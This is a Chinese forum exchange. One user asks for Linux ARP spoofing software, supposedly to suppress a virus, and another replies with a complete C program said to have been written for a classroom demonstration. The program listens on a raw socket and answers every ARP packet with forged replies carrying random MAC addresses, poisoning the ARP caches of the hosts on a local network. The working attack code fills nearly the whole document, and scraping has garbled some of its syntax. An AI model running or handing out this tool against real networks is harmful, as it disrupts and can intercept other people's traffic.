- 论坛徽章:
- 0
|
谁用过linux下搞arp欺骗或扰乱的软件?我用来抑制病毒...
真巧,为了给学生演示写了一个,你试试:
- #include <fcntl.h>;
- #include <sys/socket.h>;
- #include <sys/types.h>;
- #include <features.h>;
- #include <netpacket/packet.h>;
- #include <net/ethernet.h>;
- #include <sys/ioctl.h>;
- #include <net/if.h>;
- #include <net/if_arp.h>;
- struct ether_hdr {
- unsigned char dst_mac[6];
- unsigned char src_mac[6];
- unsigned short int frm_type;
- };
- struct etherarp {
- struct ether_hdr eth_hdr;
- struct arphdr arp_hdr;
- unsigned char ar_sha[6]; /* Sender hardware address. */
- unsigned char ar_sip[4]; /* Sender IP address. */
- unsigned char ar_tha[6]; /* Target hardware address. */
- unsigned char ar_tip[4]; /* Target IP address. */
- };
- main()
- {
- int sd;
- struct sockaddr_ll myend,hisend;
- int l_hisend;
- struct ifreq req;
- int ifx;
- int res;
- int i;
- unsigned char fake[6];
- struct etherarp buf[1],sbuf[1];
- sd=socket(PF_PACKET,SOCK_RAW,0);
- if (sd==-1) {
- perror("socket");
- exit(1);
- }
- strncpy(req.ifr_name,"eth0",IFNAMSIZ);
- ioctl(sd,SIOCGIFINDEX,&req);
- myend.sll_family=AF_PACKET;
- myend.sll_ifindex=req.ifr_ifindex;
- myend.sll_protocol=htons(0x0806);
- res=bind(sd,(struct sockaddr*)&myend,sizeof(myend));
- if (res==-1) {
- perror("bind");
- exit(1);
- }
- int fd;
- fd=open("/dev/urandom",O_RDONLY);
- while (1) {
- res=recvfrom(sd,buf,2048,0,(struct sockaddr*)&hisend,&l_hisend);
- if (res==0) {
- perror("recvfrom");
- continue;
- }
- read(fd,fake,6);
- for (i=0;i<4;i++) {
- printf("%u ",buf->;ar_tip[i]);
- }
- for (i=0;i<6;i++) {
- printf("%2x ",buf->;eth_hdr.src_mac[i]);
- }
- memcpy(sbuf->;ar_sha,fake,6);
- memcpy(sbuf->;ar_sip,buf->;ar_tip,4);
- memcpy(sbuf->;ar_tha,buf->;ar_sha,6);
- memcpy(sbuf->;ar_tip,buf->;ar_sip,4);
- sbuf->;arp_hdr.ar_op=htons(ARPOP_REPLY);
- sbuf->;arp_hdr.ar_hrd=htons(ARPHRD_ETHER);
- sbuf->;arp_hdr.ar_hln=6;
- sbuf->;arp_hdr.ar_pro=htons(0x0800);
- sbuf->;arp_hdr.ar_pln=4;
- memcpy(sbuf->;eth_hdr.dst_mac,buf->;eth_hdr.src_mac,6);
- memcpy(sbuf->;eth_hdr.src_mac,fake,6);
- sbuf->;eth_hdr.frm_type=htons(0x0806);
- sendto(sd,sbuf,sizeof(*sbuf),0,(struct sockaddr*)&hisend,sizeof(hisend));
- printf("\n");
-
- }
- close(fd);
- close(sd);
- }
复制代码 |
|